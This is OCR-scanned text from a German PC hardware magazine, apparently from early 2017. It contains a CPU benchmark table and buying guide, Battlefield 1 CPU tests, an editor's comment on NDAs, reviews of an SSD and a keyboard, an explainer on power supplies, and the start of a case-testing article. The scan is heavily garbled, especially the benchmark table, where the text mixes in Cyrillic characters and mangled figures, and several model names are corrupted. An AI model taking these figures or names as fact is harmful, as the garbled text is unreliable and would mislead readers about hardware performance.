Intel Core 17-5775С | 77 851 5$ — $5  — — — 1, < AMD FX-8350 wm 

3,3 GHz — 4c/8t — PLV 34,3 % 4,0 GHz — 4m/8t— PLV 61,1 % 
А2240 (3:19 F1:95 SC2:47  FCB:14590 72:195 BLD:257 5264125 40:2 С3:88 na 50:14 FCB:13024 7:220 BLD:466  264:154 
Preis: Ca. 400 Euro ACS:127 DAE 139 FC4:128  TW3:131 ` 3DMP:12278 [R5: 133 CB15:787 yCr:139 Preis: Ca. 145 Euro ACS:76 — DAE76 FC4:74 — TW3:76 ЗОМР: 7844 LR5:158 СВ15:641 yCr:270 
Intel Core i7-6700K | 5 1 5. ——————LUBNNNNN Intel Core 13-6100 | 5 5 — + 
4,0 GHz- 40/8: РМ 41,0% | БЕЯ 3,7 GHz — 2/41 — PLV 69,0% 29,8% 
A22:37 (3137 na Om FCB:16191 7219 BLD:222 5264:102 A22:23 Om nam 50:40 СВ:7705 72:384 BLD:473 x264: 216 
Preis: Ca. 340 Euro ACS:120 DAIF133 FC4:124 TW3:119 — 3DMP:13028 LR5:127 CB15:890 yCr:106 Preis: Ca. 115 Euro ACS:71 Dän FC4:93 TW3:68 3DMP:6425 LR5:230 CB15:405 yCr: 221 
Intel Core i7-5820K |: 3 —< Intel Core i5-2500K | EEE o 
3,3 GHz - 6c/12t — PLV 34,8 % 3,3 GHz -4c4t - PLV 40,1% | ЕЕ 
A22:32 C3:149 1:100 SC2:32 FCB:18880 72:168 BLD:203 ›264:104 40:25 On Po 50:20 EI 72:351 BLD:493 x264:237 
Preis: Ca. 400 Euro ACS:122 DAI:129 FC4:92 TW3:115 ` 3DMP:13589 185:119 CB15:1022 yCr: 110 Preis: Ca. 190 Euro* ACS:70 — DAE73 ЕС4:81 TW3:63 ЗОМР: 6192 LR5:186 CB15:462 yCr:393 
Intel Core 17-4960 | НЕ 5: AMD FX-8320E ws 
3,6 GHz — Gc/12t — PLV 12,2 % 3,2 GHz- 4m/8t- PLV 61,3 % | 3 

- Ain (3137 F1:102 52:25 FCB:19953 7:159 BLD:219 5264:112 - 42:20 Om na 52:11 FCB:10716 72238 BLD:579 x264: 188 
Preis: Са. 1.100 Euro ACS:120 DAI:122 FC4:84 TW3:114 ` 3DMP:13914 LR5:114 CB15: 1000 yCr: 207 Preis: Ca. 125 Euro ACS:69 — DALGS FC4:64 — TW3:69 — 3DMP:6411 185:179 CB15:517 yCr:337 
Intel Соге17-3960Х | aw——rss AMD FX-6350 ww 

3,3 GHz - 6c/12t— PLV 12,9 % 3,9 GHz - 3m/6t — РІМ 64,8 % 
A22:30 (3131 nm 90:25 FCB:19757 72:163 BLD:235 x264:123 : A22:22 On HA 50:13 ` FCB:10164 72:268 BLD:630 264209 
Preis: Са. 1.000 Euro* | Acs:118 DAI:118 FC4:83 — TW3:112 — 3DMP:13357 LR5:129 СВ15:955 yCr:215 Preis: Ca. 115 Euro ACS:68 А67 FC4:74 TW3:62 — 3DMP:6238 LR5:184 CB15:469 yCr:356 
Intel Core i7-4790K ` aww 2:5 AMD FX-6300 waww 
4,0 GHz- 40/8: PLV 36,3% | ЕЕ 3,5 GHz - 3m/6t — PLV 78,0 % 30,5 % 
- AM (3:109 Dn $0:4_ FCB:16360 72197 BLD:231  3064:122 - 42:21 (36 na 50:11 КВ:9184 72280 BLD:696 264227 
Preis: Са. 350 Euro ACS:110 DAIF413 FC4:113 TW3:105 ` 3DMP:11924 LR5:132 CB15:857 yCr:128 Preis: Ca. 90 Euro ACS:6A — DALGA FC4:74 — TW3:61 ЗМР: 5670 LR5:196 CB15:422 yCr:410 
Intel Xeon E3-1230 v5 |: — 1 AMD FX-4300 wawww: 
3,4 GHz- 4081—Р\У/ 446% | ENE 3,8 GHz — 2m/4t — PLV 100% 
A22:31 (3:118 ni 92:39 FCB:14518 72221 BLD:248 ›264:114 A22:19 On na 50:10 FCB:6872 — 72:397 BLD:951 )264:313 
Preis: Ca. 275 Euro ACS:109 Dä: IS FC4:112 TW3:105 ` 3DMP:11618 LR5:140 CB15:799 yCr: 117 Preis: Са. 55 Euro ACS:54  DAI:AS FC4:65 ТАЗ:46 3DMP:4324 1А5:241 СВ15:304 yCr:567 
Intel Core i7-4770K | ШШШ /«—— 3| —. АМО А10-7870К | “ED 
3,5 GHz - 4c/8t — PLV 33,1 % 3,9 GHz - 2mHt — PLV 43,3 % 
A22:30 (3:119 nm wu  FCB:15223 72:211 BLD:247 264129 A22:17 Gm na si FCB:7790 72:471 BLD:825 264274 
Preis: Ca. 360 Euro ACS:105 Dä: 107 FC4:108 TW3:101 ЗОМР: 11083 LR5:142 CB15:797 ус: 134 Preis: Ca. 125 Euro ACS:48 0А:49 FC4:61 — TW3:43 ` 3DMP:4516 1R5:258 CB15:319 yCr:531 
Intel Core 15-5675С | awas 5 2 AMDA10-6800k | Er 
3,1 GHz — 4c/4t PLV 35,3 % 4,1 GHz - 2m/4t — РМ 51,6 % 

- A22:39 (39% np A СВ:11377 72:279 BLD:387 — X264:160 - A22:17 on nä 50:10 FCBO7446 — 72:426 BLD:875 x264: 288 
Preis: Ca. 310 Euro ACS:99 — DAL 108 FCA:125  TW3:92 — 3DMP:8339 LR5:140 CB15:567 yCr176 Preis: Ca. 105 Euro ACS.48 — DAE45 Lei — TW3:44 — 3DMP:4716 LR5:244 CB15:326 yCr:519 
Intel Core i7-4820K | OO 1 5 — — FB AMD Athlon x4845 | ESI 2: 

3,7 GHz – 4c/8t — PLV 30,0 % 3,5 GHz - 2m/4t— PLV 84,5 % | EEE 

- A22:30 (3:102 ng wäi — FCB:13903 72:227 BLD:318 x264:167 - A22:16 Gm nn sm FCB:6845 — 7:534 BLD:1040 x264:268 
Preis: Ca. 360 Euro АС5:105 DAF109 FC4:92 — TW3:100 3DMP:9892 LR5:147 CB15:664 yCr: 282 Preis: Ca. 60 Euro ACS:41 — DAE49 FC4:47 TW3:42 — 3DMP:4743 185:268С815:321 уСт:530 
Intel Core і7-3770К | awmi ° AMD A8-7600 

3,5 GHz — 4c/8t — PLV 28,6 % 3,1 GHz — 2m/4t— PLV 66,1 % 

A22:29 (3:102 nm — 5C2:27 — FCB:13908 72:217 В10:316 x264:163 z A22:16 Gm nm wn FCB:7217 — 7:497 BLD:909 x264: 303 
Preis: Ca. 370 Euro* ACS:100 DAF103 FC4:92 — TW3:95  3DMP:9926 LR5:154 CB15:679 yCr: 292 Preis: Ca. 75 Euro АСѕ:44 DAF45 ЕС4:55 — TW3:39  3DMP:4257 LR5:284 CB15:293 yCr:586 
Intel Core і7-990Х awl >: Intel Pentium G4400 | MEM 2: 2 

3,46 GHz — 6c/12t— PLV 11,4% 3,3 GHz — 2c/2t - PLV 77,2% 

- A22::28 (3:119 na 50:17 FCB:18987 7z:232 BLD:243 x264: 139 - A22:20 ou nn 5:29 — FCB:5276 72:643 BLD:785 x264:313 
Preis: Ca. 940 Euro* ACS:95 — DAES2 FC4:72 — TW3:82  3DMP:12349 LR5:157 CB15:822 yCr: 322 Preis: Ca. 55 Euro ACS:50 — DAEO On — TW3:38  3DMP:3837 LR5:243 CB15:276 yCr: 778 
Intel Core i5-6600K | Н >: Соге 2 Quad Q6600 | ШШШ 7 

3,5 Ghz- Achát- PLV 41,4% | БЕ 2,4 GHz — 4c/4t — PLV 20,7 % Д 

- Ai Om 159 50:40 СВ:11479 72:281 BLD:360 x264:139 - A233 (3:30 ni SC2:7 FCB:6623 72:761 BLD:919 ›264:513 
Preis: Са. 245 Euro ACS:89 — DAE97 FC4:106  TW3:84 —— 3DMP:8106 LR5:139 CB15:611 уст: 142 Preis: Ca. 170 Euro* ACS:29 Die ЕС4:35 — TW3:25 — 3DMP:3648 LR5:366 CB15:235 yCr:877 
Intel Core i5-4690K | BERE 556 » Core 2 Duo E8500 | ШШШ 115% 

3,5 GHz - Ac/4t — PLV 38,8 % 3,16 GHz- 2021 PLV 9,9% | Е 

- A22:31 (3:30 Р:54 50:36 КВ:12033 72:288 BLD:368 x264: 163 - Ain om nn SC2:7 FCB:4440 — 77:1429 BLD:1398 x264: 741 
Preis: Ca. 250 Euro ACS:85  DAI:85 FC4:98 — TW3:80 — 3DMP:7482 LR5:150 CB15:565 vr 168 Preis: Ca. 220 Euro* ACS:23 — DAEO — FCkO — TW3:17 — 3DMP:2535 LR5:427 CB15:170 yCr:1332 
Intel Core i5-4670K | aww: # Pentium EE 965 EH: 

3,4 GHz - Ac/4t - PLV 39,5 % 3,46 GHz- 2c4t-PIV 1,6% | 
40:31 (3:89 na wm СВ:11739 72:300 BLD:382 x264: 166 A22:7 om F5 — SCA FCB:2446 72:1151 BLD:2697 x264: 1290 
Preis: Ca. 240 Euro ACS:84 Dän FCA:96 — TW3:80 ЗОМР: 7280 LR5:153 СВ15:551 ус: 173 Preis: Ca. 1.050 Euro* | Acs:19 pa — FC418 — TW3:14 — 3DMP:1571 1R5:763 СВ15:112 уст: 1804 


Spiele (links): Anno 2205, Assassin's Creed Syndicate, Crysis 3, Dragon Age: Inquisition, F1 2015, Far Cry 4, Starcraft 2 LotV, Witcher 3: gerundete Durchschnitts-Fps in 1.280 x 720 (max. Details außer Post-Processing, Ambient Occlusion, 
AA und AF), mehr ist besser. Anwendungen (rechts): Fritz Chessbench, 3D Mark Firestrike Physics, Cinebench R15: Punkte (mehr ist besser), 7-Zip 15.21, Lightroom 5.7.1, Blender 2.76, x264, y-Cruncher: Sekunden (weniger ist besser) 
System: 8 GiByte je Speicherkanal, Turbo und Energiesparfeatures an; Windows 10 64 Bit, Grafikkarte: Geforce GTX 980 Ti @ 1.380/3.900 MHz 
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PROZESSOREN | Kaufberatung CPUs 


Battlefield 1: CPU-Leistung mit Direct X 11 


BF1 MP „Rand des Reichs” (720p), Ultra-Details, 25 % Auflósungsskalierung 
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Zeit in Sekunden 


System: CPU-Takte @ max. Turbo (s. Legende), 16/32 GiByte RAM (8 pro Kanal), R9 Fury X (16.11.3 Hotfix), 
Win 10 x64 (1607) Bemerkungen: Der Worst-Case „Rand des Reichs” ist (in extrem geringer Auflösung) 
extrem von der CPU-Leistung abhängig, skaliert aber prächtig mit zusätzlichen Kernen. 


Battlefield 1: CPU-Leistung mit Direct X 12 


BF1 MP „Rand des Reichs" (720p), Ultra-Details, 25 % Auflösungsskalierung 
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System: CPU-Takte max. Turbo (s. Legende), 16/32 GiByte RAM (8 pro Kanal), R9 Fury X (16.11.3 Hotfix), Win 
10 x64 (1607) Bemerkungen: Im DX12-Renderpfad profitiert vor allem der Hyperthreading-Lose i5-2500K (und 
der i7-2600K) von der effiezienteren Ressourcennutzung, während die anderen CPUs minimal Fps verlieren. 


Zwar laufen einige Spiele noch gut 
auf Dualcores wie Intels Pentium, 
es gibt aber auch Titel, die gar nicht 
erst starten. Darum: Finger weg! 


Anstatt lediglich langsamer zu laufen, 
verweigern bereits einige AAA-Titel 
namhafter Publisher glattweg den Start. 


Niedrige Performance ist eine Sache, aber 
vollständige Inkompatibilität zu Spielen 
und/oder Anwendungen sind für uns ein 
Ausschlusskriterium. Betroffen sind davon 


neben einigen Stromspar-Prozessoren beider Lager auch und insbesondere Intels 
Pentium- und Celeron-Reihen, sowie AMD-APUs mit nur einem Modul. Speziell 
Intels Pentium G3258 AE (zwei Kerne, aber kein Hyperthreading) verkommt so zu 
einem zugegeben günstigen Spielzeug für Übertakter. Intels Core-i3 und AMDs 
FX-4000-Prozessoren dagegen starten bislang noch alle von uns getesteten Pro- 
gramme, sind aber für viele aktuelle Titel schon etwas schwach auf der Brust. 
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Beim Neukauf für einen Spiele-PC 
spricht nach wie vor nur ein knap- 
pes Budget für eine AMD-CPU. In 
einigen Anwendungen hingegen 
kann ein FX-83x0 durchaus mit 
einem älteren Core-Prozessor wie 
dem i7-2600K mithalten, in man- 
chen Spielen mit dem i5-2500K. 
Ansonsten sind sie aufgrund des 
höheren Strombedarfs nur mit grö- 
ßerem Aufwand leise zu kühlen. 
Ein ,Boxed"-Lüfter genügt hier nur 
akustisch extrem unempfindlichen 
Naturen und für einen brauchba- 
ren Kühler aus dem Nachrüstregal 
wie dem Arctic Freezer A32 müs- 
sen Sie mindestens 25 Euro einpla- 
nen. Ab circa 180 Euro beginnt der 
für Spieler interessante Bereich der 
Intel-Prozessoren. Hier gibt es Vier- 
kern-Modelle, die dank Turbo zum 
Teil merklich über 3 GHz takten, 
sparsam arbeiten - sich also ohne 
großen Aufwand kühlen lassen - 
und pro Takt viel Arbeit verrichten. 


Benchmarks 

Zur Übersicht bieten wir Ihnen 
den erweiterten Leistungsindex 
von 40 CPUs. Wenn Sie es ganz ge- 
nau wissen wollen, finden Sie die 
gerundeten Einzelergebnisse in 
Zahlenform unterhalb der Index- 
balken. Apropos: Wenn Sie sich 
rein für Spiele- oder Anwendungs- 
leistung interessieren, werfen Sie 
einen Blick auf die grünen respek- 
tive roten Benchmarkbalken. 


Im Spielebereich gibt es noch im- 
mer viele Titel, die mit zwei Kernen 
auskommen - ein Vertreter davon 
ist das beliebte Starcraft 2, welches 


insbesondere bei Zerg Rushes CPU- 
limitiert ist. Klar ist jedoch auch: 
Stark mehrkernoptimierten Titeln 
gehört die Zukunft und dank Low- 
LevelAPIs wie Direct X 12 und 
Vulkan verstárkt sich dieser Trend 
sicherlich noch. Ein Vierkerner 
sollte daher die untere Grenze sein. 


Faktor Grafikkarte 

Wir kónnen es nicht oft genug be- 
tonen (und tun es an dieser Stelle 
daher erneut): Die CPU stellt ,nur* 
die Basis der Spieleleistung. Denn 
bei fast allen. modernen Spielen 
wird die Leistung in Full-HD-Auf- 
lösung oder höher von der Grafik- 
karte begrenzt - speziell mit Kan- 
tenglättung, Ambient Occlusion 
oder DSR/VSR. Selbst in Crysis 3 
bremsen 4x Multisample-AA in 
1440p auch 1.000-Euro+-CPUs fast 
auf das Niveau eines 100-Euro-Mo- 
dells wie dem FX-6300, wie unser 
Extrakasten veranschaulicht. (cs) 


Fazit Нагйшаге 


Kaufberatung CPUs 

Warten lohnt sich immer — speziell an- 
gesichts des baldigen Zen-Launches. 
Sind weder Zen noch dessen mögliche 
Auswirkungen auf das Preisgefüge für 
Sie eine Option, greifen Sie im Low- 
Cost-Bereich bis 120 Euro zu AMDs 
FX-8300 und sind sich bewusst, in eine 
tote Plattform zu investieren. Bis 250 
Euro wählen Sie den i5-6600/7600K. 
Bis maximal 350 Euro gibt's den i7- 
6700/7700K für die unmittelbare Zu- 
kunft, mittelfristig lohnt ein Sechskerner 
wie der i6-6800K für rund 440 Euro. 


Slow-PU: Was der Bench nicht zeigt 


Niedrigere Bildraten in Spielen und 
lángere Wartezeiten bei Anwen- 
dungen zeigen nicht das gesamte 
Bild von Low-End-Prozessoren. 


Abseits der reinen Fps-Werte, die in den 

Benchmark-Diagrammen hoch- und run- 

tergejubelt werden, gibt es noch weitere 
Dinge, die bei langsamen CPUs auffallen. 
Da wären zum einen die Ladezeiten, wel- 
che durchaus stark mit der CPU-Leistung 
— speziell der Pro-MHz-Performance — 


skalieren. Zum anderen priorisieren moderne Streaming-Engines bisweilen aber 
auch das Entpacken und In-den-Grafikspeicher-Laden von detaillierten Pixeltapeten 
recht niedrig. So kommt es, dass wir etwa in Assassin's Creed Syndicate trotz knapp 
30-sekündigen Durchlaufens der Spielwelt beim Erklettern des Bahnhofsdaches 
(auf dem unser Benchmark stattfindet) noch mit niedrig auflösendem Matsch (s. 
Screenshot) anstelle hübscher, detaillierter Mauertexturen konfrontiert werden. 


www.pcgameshardware.de 


DEUTSCHER 
ENTWICKLERPREIS 
) 


[^ DEUTSCHER 
create. game. business 1 E ANN €NTWICKLERPREIS 


gathering of game developers 


www.aruba-events.de сотриѓєс 


Infrastruktur 


Torsten Vogel 
Fachbereich Mainboards 
E-Mail: tv@pcgh.de 


Kommentar 
NDA? Ich weiß von nichts! 


Non Disclosure Agreements (NDAs) sind eigent- 
lich toll, gerade für Printmagazine: Redakteure 
erhalten vor Marktstart exklusiv Informationen 
und Testmuster, müssen ihre Ergebnisse aber bis 
zum Launch geheim halten. So kann man testen, 
Artikel schreiben, drucken lassen und pünktlich 
zum NDA-Fall ins Zeitschriftenregal stellen. 


Soweit die Theorie. In der Praxis scheitert schon 
der „Pünktlich”-Teil. Ich habe beispielsweise vier 
Freigabe-Termine für Produkte mit Intels neu- 
em 7270 gesehen — der späteste war von Intel 
selbst. Noch ratloser waren die Mainboard-Her- 
steller beim PCGH-Veröffentlichungstermin: 
Im Regal steht dieses Heft am Mittwoch, den 
4.1.2017, aber Abonnenten erhalten es zum Teil 
am Samstag davor. Wie unser großes Kaby-La- 
ke-Special beweist, haben sich die Hersteller 
letztlich am offiziellen Erstveröffentlichungstag 
orientiert und ermöglichten uns damit eine echte 
Mainboard-Marktübersicht pünktlich zum offizi- 
ellen Z270-Start. An dieser Stelle mein Dank an 
Gigabyte, Asus, MSI, Asrock — prinzipiell aber 
auch an Supermicro, EVGA und Biostar, die bis 
zum Redaktionsschluss selbst keine Testmuster 
zur Hand hatten, aber ebenfalls Bereitschaft sug- 
gerierten, Intels Vorgaben flexibel auszulegen. 


Das mag überraschen, aber tatsächlich haben 
ast alle die Schnauze voll von der NDA-Pra- 
xis. Nicht-Unterzeichner veröffentlichten Kaby- 
Lake-Benchmarks bereits vor über einem Mo- 
nat, während PCGH ehrlicherweise Test-CPUs 
ausschlug. Umgekehrt muss ich auf geleakte 
Folien zum letztjáhrigen 2170 zurückgreifen, 
weil Intel mir viele Details bis heute nicht of- 
iziell mitgeteilt hat. So stellen NDAs keinen 
nformationsvorsprung dar, sondern nur noch 
einen Maulkorb — und Mainboard-Hersteller аг- 
gern sich sowieso darüber, dass trotz Stagnation 
im CPU-Bereich die Plattformen gar keine Rolle 
mehr bei Launch-Veranstaltungen spielen. 
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Samsung SSD 960 Evo im Test 


Gerade eben definierte Samsung mit der SSD 
960 Pro das Nonplusultra neu, nun schieben die 
Koreaner die Evo-Variante nach. Diese soll mit ei- 
nem guten Preis-Leistungs-Verhältnis die Mittel- 
klasse der PCle-SSDs erobern. 


icht nur optisch ähnelt die Evo dem aktu- 
N ellen Topmodell, der 960 Pro: So kommt 
etwa auf beiden 960er-Modellen der Samsung- 
Polaris-Controller zum Einsatz, der am Speicher 
mit acht Kanälen angebunden ist. Polaris ar- 
beitet mit fünf Prozessorkernen, zwei mehr als 
beim Vorgänger UBX, welcher auf der 950 Pro 
sitzt. Wie auch auf der 960 Pro ist im Aufkleber 
an der Unterseite eine dünne Kupferschicht ein- 
gearbeitet. Sie soll die Temperatur etwas senken 
und damit die hitzebedingte Drosselung bei lan- 
gen Operationen hinauszögern. 


Ein wesentlicher Unterschied zur 960 Pro ist 
der Speicherchip. Er wird zwar auch auf der 960 
Evo in 48 Lagen hochgestapelt, jedoch handelt 
es sich hier um günstigere und etwas langsame- 
re TLC-NANDs. Die 960 Pro ist mit MLC-NANDs 
bestückt, die an sich etwas schneller sind und 
denen etwas mehr Lebensdauer zugeschrieben 


wird. In der Leistung ist die 960 Evo dem aktuel- 
len Topmodell, der Samsung SSD 960 Pro, ganz 
dicht auf den Fersen und stößt die noch immer 
teurere und stromhungrigere Intel SSD 750 vom 
zweiten Platz unserer Rangliste. Der Anwen- 
der dürfte aber kaum Unterschiede zwischen 
den PCIe-SSDs spüren, was unsere praktischen 
Benchmarks auch hier wieder zeigen. Hóchs- 
tens unser Kopiertest zeigt einige Schwankun- 
gen zwischen den Modellen. Ansonsten liegen 
die PCIe-Modelle ziemlich gleichauf. (mc) 


Samsung SSD 960 Evo (1 TB) 


Fazit: Die 960 Evo kommt in der Leistung ziemlich nahe 
an die 960 Pro heran. Im Preis pro GB wird sie bei den 
PCle-Modellen aktuell nur von der Intel SSD 600p unter- 
boten — diese ist aber auch deutlich langsamer. 


Hersteller: Samsung 

Web: www. Samsung de 

Preis: Ca. € 460,- | Preis-Leistung: out 

lcm | Ausstattung | 2,92 

Eigenschaften | 1,68 
Leistung 
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Schreibmaschinen-Stil: Nanoxia Ncore Retro 


Nanoxia präsentiert sein erstes Peripheriegerät in 
Form einer Tastatur. Die Ncore Retro erinnert nicht 
nur an eine Schreibmaschine, sondern klingt dank 
mechanischer Tastenschalter auch fast genauso. 


er sonst eher für seine Gehäuse und 

Lüfter bekannte Hersteller Nanoxia gibt 
sein Debüt auf dem Peripheriemarkt und stellt 
mit der Ncore Retro eine ganz besondere mecha- 
nische Tastatur vor, die vor allem beim Design 
stark von der mittlerweile fast durchweg bunt 
beleuchteten Konkurrenz abweicht. Nanoxia 
spendiert der für circa 110 Euro erhältlichen 
Ncore Retro nämlich runde Tastenkappen, die - 
hier ist der Name Programm - mit ihrem Retro- 
Stil an eine antike Schreibmaschine erinnern. 
Diesen Eindruck verstärkt die Tatsache, dass bei 
Nanoxias spritzwassergeschützter Ncore Retro, 
wie bei immer mehr mechanischen Tastenbret- 
tern, die Tasten samt Schaltern nicht in das Chas- 
sis eingelassen, sondern freistehend sind. 


Bei der Schalterbestückung nennt Nanoxia den 
asiatischen Hersteller Kailh (Kaihua Electronics), 
dessen in Europa bisher nicht verfügbare weiße 
Schalter unter den Kappen im Schreibmaschi- 
nendesign stecken sollen. Dabei stimmen die Ei- 


Gigabit f 5752 (inte 
(Ó TruNpensour. ie RGB ops 


genschaften der weifsen Kailh-Schalter mit denen 
der Kailh Blue überein, die wiederum an Cherrys 
MX-Blue-Modelle angelehnt sind: Die anfängli- 
che Betätigungskraft liegt bei 50 g, die benötigte 
Kraft zum Überwinden des taktilen Auslósepunk- 
tes (nach 2 von mm) bei 60 g. Da die weifsen 
Kailh-Schalter haptisch und akustisch taktil sind, 
erzeugen sie ein deutlich hórbares Klickge- 
ràusch, das im Falle der Ncore Retro das Gefühl 
einer Schreibmaschine durchaus verstärkt, Dazu 
kommt, dass der weifse Kailh-Schalter anders als 
der blaue wasserdicht sein soll. 


ММ UNSTOPPABLE 


www.asrock.com 


The specification is subject to change without notice. 
The brand and product names are trademarks of their respective companies. 
Any configuration other than original product specification is not guaranteed. 


Unter den Kappen im 
Schreibmaschinen-Look sieht man den 


Stempel der mechanischen Tastenschalter. 
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elementen besteht eigentlich 
ein Netzteil? Wir erkláren, 
wie ein aktuelles Schaltnetz- 
teil 230 V Wechselstrom für 
CPU, GPU & Co. aufbereitet. 


Primärseite 


Hinter dem Kaltgerätestecker eines 
Schaltnetzteils dienen mehrere Spulen und 
X- beziehungsweise Y-Kondensatoren als 
Eingangsfilter. Ausgefiltert werden einerseits 
Unsauberkeiten aus dem Stromnetz, 
andererseits wird verhindert, dass andere 
Geräte durch die Hochfrequenztechnik 

im Schaltnetzteil gestört werden. Der so 
bereinigte Wechselstrom wird anschließend 
in einer Kombination von Gleichrichter und 
aktiver Leistungsfaktorkorrektur (PFC) in 
eine Gleichspannung von typischerweise 300 
bis 400 V umgewandelt, die anschließend 
vom großen Primärkondensator geglättet 
wird. Schalttransis- 
toren zerhacken 
diesen Gleichstrom 
anschließend in einen 
gepulsten Strom für 
die Primärwicklung 
des Transformators, 
wo die Hochspan- 
nungs-Primärseite des 
Netzteils endet. 


Steuerung und Überwachung 


Die einzelnen Wandler eines Schaltnetzteiles 
müssen nachgeregelt werden, sonst steigt 


die Spannung bei niedriger Last über den 


vorgesehenen Wert und fällt bei hoher Last 
darunter. Überwachungschips sorgen dafür, 
dass die Schaltvorgänge permanent dem Bedarf 
angepasst werden, und behalten nebenbei 
Lastgrenzen und Temperatur der Bauteile im 
Auge, um bei Schäden oder Kurzschlüssen eine 
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Sekundärseite 


Die Sekundärwicklung des Transformators 
gibt für PCs typische, niedrige Spannungen 
aus, der Strom ist aber immer noch mit dem 
Takt der Primärseite gepulst. Kondensatoren 
und Spulen machen daraus eine saubere 
Gleichspannung, wie sie von PC-Hardware 
benötigt wird. Günstige Netzteile verwenden 
diese Methode nicht nur für 12 V, sondern 
erzeugen auch die weniger stark genutz- 

ten 3,3-V- und 5-V-Leitungen direkt über 
weitere Sekundärwicklungen im gleichen 
Transformator. Bei diesen gruppenregulierten 
Designs gibt aber der Aufbau des Transform- 
ators das Leistungsverhältnis von 3,3 V, 5 

V und 12 V vor, geregelt wird die Leistung 
gemeinsam über den Eingangsstrom. Ein- 
seitige Belastungen bestimmter Leitungen 
können nicht kompensiert werden, sondern 
reduzieren Effizienz und vor allem auch die 
Spannungsstabilität. Moderne DC-DC-Lay- 
outs beschränken sich daher auf die Trans- 
formation von 12 V und erzeugen daraus mit 
Abwärtswandlern, wie sie von Grafikkarten 
und Mainboards bekannt sind, auch 3,3 V 
und 5 V. 


Notabschaltung auszulósen. Viel Beachtung 
finden hierbei die sogenannten 12-V-Schienen 
(, rails"), also die getrennte Absicherung von 
12-V-Anschlussgruppen. Zwar werden diese 


bei modernen Netzteilen alle aus dem gleichen 


Transformator versorgt, man kann den Strom- 
fluss aber für mehrere Stránge getrennt über- 


wachen. Der Vorteil: Erzeugt eine defekte Kom- 


ponente eine starke Überlastung, reagiert das 


Schaubild: So ist ein Netzteil aufgebaut 


Aus welchen Funktions- 


Kühlung 


: Die Effizienz von Netzteilen ist endlich — ein 
` Teil der aufgenommenen elektrischen Ener- 
` gie geht als Abwárme verloren. Bei High- s 
` End-Systemen sind auch mit hocheffizienten : 
Netzteilen schnell einige Dutzend Watt : 
Wärme abzuführen. Die kritischsten Bauteile 
sind die Schalttransistoren, die große Ströme 
auf kleinem Raum bewältigen müssen. 
: Hier sind zwingend Kühlkörper erforderlich, 
während anderen Bauteilen meist ihre eige- 
ne Oberfläche zur Wärmeabgabe reicht. Ins- : 
besondere die Lebensdauer von Kondensa- 
toren leidet aber unter hohen Temperaturen, 
weswegen Lüfter in den meisten Netzteilen 
nicht nur die Hauptwärmequellen kühlen, 
sondern auch einen Wärmestau im Umfeld 
zahlreicher anderer Komponenten verhindern 
sollen. Lüfterlose Netzteile benótigen hier 
wesentlich gróBere Kühlkórper und setzen 
zusätzlich auf überdimensionierte elektrische 
Bauteile, die eigentlich für eine vielfach 
stárkere Nennleistung reichen würden. 


Netzteil schneller. AuBerdem kann auch bei sehr 
leistungsfáhigen Netzteilen die Abschaltschwelle 
weit unter der Belastungsgrenze der Kabel eines 
Anschlussstranges liegen. Nachteilig ist aber die 
Begrenzung der Maximalleistung pro Verbrauch- 
er, weswegen Extrem-Übertakter auf „Single 
Rail" Modelle angewiesen sind und oft auch 
von Anwendern ohne extreme Anforderungen 
nachgeahmt werden. 
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Transformator 


Transformatoren bestehen 

aus zwei magnetisch gekop- 
pelten Spulen. Der eingehende 
Stromfluss baut in einer eng 
gewickelten Primärspule auf der 
Hochspannungsseite einen mag- 
netischen Fluss auf, der in der 
sekundären Spule mit weniger 
Wicklungen einen Sekundärstrom 
induziert, dessen Spannung ent- 
sprechend der Wicklungsunter- 
schiede geringer ausfällt 

— beispielsweise 12 V sekundär 
bei 400 V primär. Da ein magne- 
tischer Fluss sich ändernde Mag- 
netfelder voraussetzt, können 
Transformatoren nur mit Wech- 
sel- oder gepulstem Strom arbei- 
ten und umso kleiner ausfallen, 
je höher die Schaltfrequenz ist. 
Dank des selbst erzeugten, mit 
mehreren 100 kHz gepulsten 
Stroms können Schaltnetzteile 
deutlich kompakter ausfallen als 
einfachere Transformatoren mit 
50 Hz Netzfrequenz. 


Tochterplatine 


Oberklassenetzteile verfügen 
meist über ein modulares Kabel- 
system, bei dem sich einige oder 
alle Kabel abnehmen lassen. Die 
entsprechenden Stecker sitzen 
seitlich im Netzteil auf einer vom 
eigentlichen Schaltnetzteil ge- 
trennten Platine. Oft trägt diese 
auch weitere Kondensatoren 

zur Spannungsglättung. Einige 
Hersteller platzieren gar die ge- 
samte Abwärtswandlung für 5 V 
und 3,3 V an dieser Stelle. Das 
vereinfacht die primäre Platine 
zu einem reinen 12-V-Netzteil, 
erschwert aber die Kühlung der 
Leistungstransistoren in den 


Abwärtswandlern. 
Bild: Enermax 
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h. 


Renovierung notwendig 


Die neueste Gehäusegeneration wartet nicht nur mit bunter Beleuchtung oder geänderten Innenraumde- 


signs auf. Es gibt auch Leistungsverbesserungen, denen wir mit neuen Testverfahren Rechnung tragen. 


in Gehäuse zu testen und ab- 
Es eine Wertung in 
Form einer Note abzugeben, ist 
aufgrund der vielen Faktoren, die 
dabei zu beachten sind, nicht ein- 
fach. Neue Ausstattungselemente 
wie eine RGB-Beleuchtung, Sei- 
tenteile aus gehärtetem Glas, SSD- 
Halterungen auf der Rückseite des 
Mainboard-Trays oder Änderungen 
beim Innenraum-Design (Eigen- 
schaften) lassen sich ohne großen 
Aufwand in die Bewertung integ- 
rieren. Geht es aber um die Ermitt- 
lung der Leistung, respektive wie 
gut und wie leise der Proband die 
Hardware im Inneren kühlt, ist ein 
kontinuierliches Überprüfen und 
Aktualisieren der Mess- und Test- 
methodik gefragt. Genau das steht 
für die Gehäuse-Marktübsicht in 
dieser Ausgabe auf der Agenda und 
wir nehmen den Vergleichstest 
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zum Anlass, unsere Test-Hardware 
auf den aktuellen Stand zu brin- 
gen. Zusätzlich haben wir, wie auf 
den folgenden Seiten vorgestellt, 
auch die Messmethoden und 
das Bewertungsschema überabei- 


tet oder gar gleich erneuert. 


Ein aktuelles System für alle 
Bei der Hardware für unsere Test- 
plattform (siehe S. 68) haben wir 
uns mit dem Asus Z170I Pro Ga- 
ming sowie der Gigabyte Geforce 
GTX 1070 Mini ITX OC bewusst 
für Komponenten entschieden, die 
auch in kleine Mini-ITX-Gehäuse 
passen. So kann das mit einer M.2- 
SSD bestückte System bei allen 
kommenden Gehäuse-Marktüber- 
sichten zum Einsatz kommen. Mit 
Intels Core i7-6700K spendieren 
wir unserem Testsystem eine Leis- 
tungszentrale, die sehr rechenstark 


ist und unter Last auch ausreichend 
warm wird, sodass wir die Kühl- 
eigenschaften der Gehäuse per 
Messung ermitteln können. Dazu 
